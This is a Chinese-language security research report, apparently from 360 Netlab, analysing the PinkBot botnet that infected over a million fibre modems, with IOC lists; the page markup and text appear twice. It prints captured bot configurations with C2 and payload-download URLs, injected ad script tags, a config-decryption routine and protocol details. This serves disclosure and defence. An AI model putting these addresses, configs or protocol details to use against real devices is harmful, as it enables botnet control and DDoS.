另一方面，将物联网设备供应商与成熟的系统供应商在安全能力方面对比（例如Windows、安卓或者MacOS），后者拥有成熟的多的安全人员建制和丰富的多的安全对抗经验。再考虑到物联网设备数量众多，多得多的数量加上少的多的防御，更多的攻击转向物联网设备是老道攻击者的自然选择。</p>
<h2 id="github">GITHUB 封相关账号</h2>
<p>我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink78day.png" alt="pink78day" loading="lazy"></p>
<p>目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。</p>
<p><em>复盘总结</em>：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。</p>
<h1 id="ioc">IOC</h1>
<h2 id="cc">C&C地址</h2>
<p>通过长期跟踪，攻击者使用过的CNC地址有：</p>
<pre><code>cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
</code></pre>
<p><strong>PS</strong>: 我们的DNSMon系统，早在2019年12月28日，在我们的人工分析介入之前，就自动已经标示控制域名 cnc.pinklander.com 有重大嫌疑并在360的安全DNS服务中（<a href="https://dns.360.cn/%EF%BC%89%E6%8B%A6%E6%88%AA%E4%BA%86%E3%80%82">https://dns.360.cn/）拦截了。</a></p>
<p><strong>PPS</strong>: 顺道说一句，我们的 DNSMon 系统，已于近日改名 DTA ，并开启商业化之路(<a href="__GHOST_URL__/360dta-announced/">https://blog.netlab.360.com/360dta-announced/</a>)，感兴趣的伙伴们可以自行移步了解相关事宜。</p>
<h2 id="">同步服务</h2>
<p>PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。<br>
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的<code>配置信息</code>中。</p>
<pre><code>http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//***.com/**/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
</code></pre>
<h2 id="md5">MD5</h2>
<p>通过跟踪获取到的相关样本（ELF）汇总如下：</p>
<pre><code>9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
</code></pre>
<!--kg-card-end: markdown--> | 本文完成于2020年春节前后，为维护广大最终消费者的利益，一直处于保密期无法发表。近日 CNCERT 公开披露了相关事件，令本文有了公开契机。在保密期的这段时间里，Pink 也出现一些新的小变动，笔者筛选了其中一部分放到“新动向”章节，供其他同仁共同追踪研究。
概述
2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。
Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，在360Netlab的独立测量中，总感染量超过160万，其中 96% 位于中国。
PinkBot 具有很强的技术能力：
1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；
2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；
3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。
可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。
规模及影响范围
我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：
1. 2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;
2. 2020-01-02从CNCERT拿到的统计结果：
“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”
3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。
在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。
PinkBot 技术架构
PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。
配置信息
对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：
{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。
2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。
3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。
4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。
5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。
6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。
配置信息的保护
通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：
def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：
1. 签名校验使用的密码库为 mbedtls；
2. 签名算法为 ECDSA；
3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；
4. 验签所用公钥为： 04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E
配置信息的分发
除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。
a) 通过第三方服务分发配置信息
1. 通过 BTC+GITHUB 分发配置信息
该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。
其中，模式为P!!<base64>I!!行是配置签名，模式为N!!<base64>K!!行是配置信息的密文。
但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：
对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 ...!<base64>...? 的字串，比如我们最近找到的一个就是 ...!L215cG9sbzExMS92Zmc=...? 将这个base64 还原，就是隐藏项目的地址了 mypolo111/vfg
再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。
另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：
PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。
2. 通过 某中文社区 分发配置信息
攻击者在少部分样本中还尝试利用“某中文社区”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。
b) 通过 P2P 方式分发配置信息
1. P2P-Over-UDP123 分发配置信息
Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 1C 00 00 00 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：
* 当目标Bot未取得主控信息时回复 1D 00 00 00；
* 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。
下图是最近捕获到的UDP-123 传递的配置信息。
2. 通过 P2P-Over-TCP 分发配置信息
Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：
交互协议的格式同UDP123上的相同。
c) 通过 CNC 分发配置信息
攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。
PinkBot 指令
指令格式
每条指令至少包含7字节，含义依此如下：
1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。
2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。
3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。
4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。
这里附上一张截图供参阅，其中红框标记的就是指令字段：
指令传输方式
a) 通讯加密
上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：
1. 使用的密码学库为：mbedtls;
2. 密钥交换阶段使用的交换算法 ecdh，加载曲线为 MBEDTLS_ECP_DP_CURVE25519;
3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D
4. 报文加密/解密阶段使用的算法为 aes, key 为密钥交换后的secret，加载参数为 MBEDTLS_AES_ENCRYPT 和MBEDTLS_AES_DECRYPT;
5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。
b) 指令内容编码
为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库nanopb 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。
指令功能
PinkBot 指令具有丰富的控制能力：
1. 文件下载
2. 系统命令执行
3. DDoS攻击（HTTP攻击和 UDP 攻击）
4. 扫描功能（扫描的具体内容可以通过指令设置）
5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）
6. 自身更新（将新版本保存到 /tmp/client 后运行）
7. P2P节点列表同步（直接推送一组P2P节点到Bot）
8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）
9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）
10. 下载文件并执行
11. 停止攻击
12. 重置watchdog
PinkBot 持久化方式
与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。
下图是被感染后新增/修改的文件列表：
其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。
关键文件说明：
* /bin/protect：md5:9ec5bd857b998e60663e88a70480b828
protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。
* /bin/tr69c: md5:451a3cf94191c64b5cd1be1a80be7799
tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。
跟踪及处置
规模评估
前面提到，Pink 具有通过 p2p 方式来分发非实时性指令信息的特性。利用这个特性，我们得以在全网范围内对 PinkBot 的感染量进行评估，最终得出的全球受感染IP超过160w的 这个结论。
指令跟踪
我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
汇报及处置
360公司为维护广大最终消费者的利益，做了以下处置工作：
1. 通报各级监管机构；
2. 依法配合执法机构行动；
3. 联合设备供应商进行安全防御；
4. 在360系列安全浏览器、安全DNS上阻断PinkBot相关控制域名、插播广告域名；
5. 联合若干互联网基础设施供应商共同监控PinkBot行动。
新动向
本文其他部分，均完成于2020年春节前后，到现在已经度过了一年半的时光。在这段时间中，我们没有发现 Pink 出现太大的变动，本节附上了一些最新的线索，供同仁们共同研究和追踪。
最新传播的配置信息
随着对 pink 的持续追踪，我们发现，pink 的配置信息会间歇性发生变化，变动内容主要体现在 CNC 字段和 DL* 字段，并于最近几个月趋于稳定。下面是我们在 2021/10/5(北京时间) 捕获的最新配置信息。
{
"verify":"1611936001",
"cncip1":"140.82.40.29",
"cncport1":"26007",
"dlc":"450aa79da035a8a55ca4c0e6b1025b50",
"dl":"http://209.250.247.60/dlist.txt",
"dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
"dl1":"https://****.com/****/dlist.txt",
"sd0":"1.1.1.1",
"sdp0":"443",
"srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy":"1"
}
当前规模
我们一直阶段性的对公网上的 Pink 节点进行持续监测，通过对 2021/10/20日的日志分析，我们仍然可以看到 103024 个 IP 处于日活状态。这表明，当前的 pink 的感染规模仍然在 10w 量级左右，涉及多家设备厂商，按照每个IP对应一个三口之家来计算，受影响人群大概 30w 人左右。按照每个光猫 100 元的更换成本计算，当前仍有上千万损失等待弥补。
曾发起 DDoS 攻击
文章编写完成时，我们并没有抓到 Pink 发起 ddos 攻击的指令，但在随后的一段时间中，我们监测到了大概100多条试图发起 DDos 攻击的指令，下面筛选其中的两条，供参考：
2020/3/24 通过UDP协议，攻击 203.56.252.137:26999
2020/4/8 通过HTTP协议，攻击 180.101.192.199:27020
番外：Pink 对抗的能力
在对 Pink 僵尸网络分析跟踪的过程中。我们注意到，攻击者和不同厂商进行过多次的攻防对抗。
这一章节将简单介绍下在对抗中， Pink 展现出来的一些能力。
设备厂商的博弈
根据相关厂商之一提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。
第一次对抗: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。
第二次对抗：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。
第三次对抗：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。
最后的方案：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。
复盘总结：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。
另一方面，将物联网设备供应商与成熟的系统供应商在安全能力方面对比（例如Windows、安卓或者MacOS），后者拥有成熟的多的安全人员建制和丰富的多的安全对抗经验。再考虑到物联网设备数量众多，多得多的数量加上少的多的防御，更多的攻击转向物联网设备是老道攻击者的自然选择。
GITHUB 封相关账号
我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。
目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。
复盘总结：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。
IOC
C&C地址
通过长期跟踪，攻击者使用过的CNC地址有：
cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
PS: 我们的DNSMon系统，早在2019年12月28日，在我们的人工分析介入之前，就自动已经标示控制域名 cnc.pinklander.com 有重大嫌疑并在360的安全DNS服务中（https://dns.360.cn/）拦截了。
PPS: 顺道说一句，我们的 DNSMon 系统，已于近日改名 DTA ，并开启商业化之路(https://blog.netlab.360.com/360dta-announced/)，感兴趣的伙伴们可以自行移步了解相关事宜。
同步服务
PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的配置信息中。
http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//***.com/**/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
MD5
通过跟踪获取到的相关样本（ELF）汇总如下：
9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
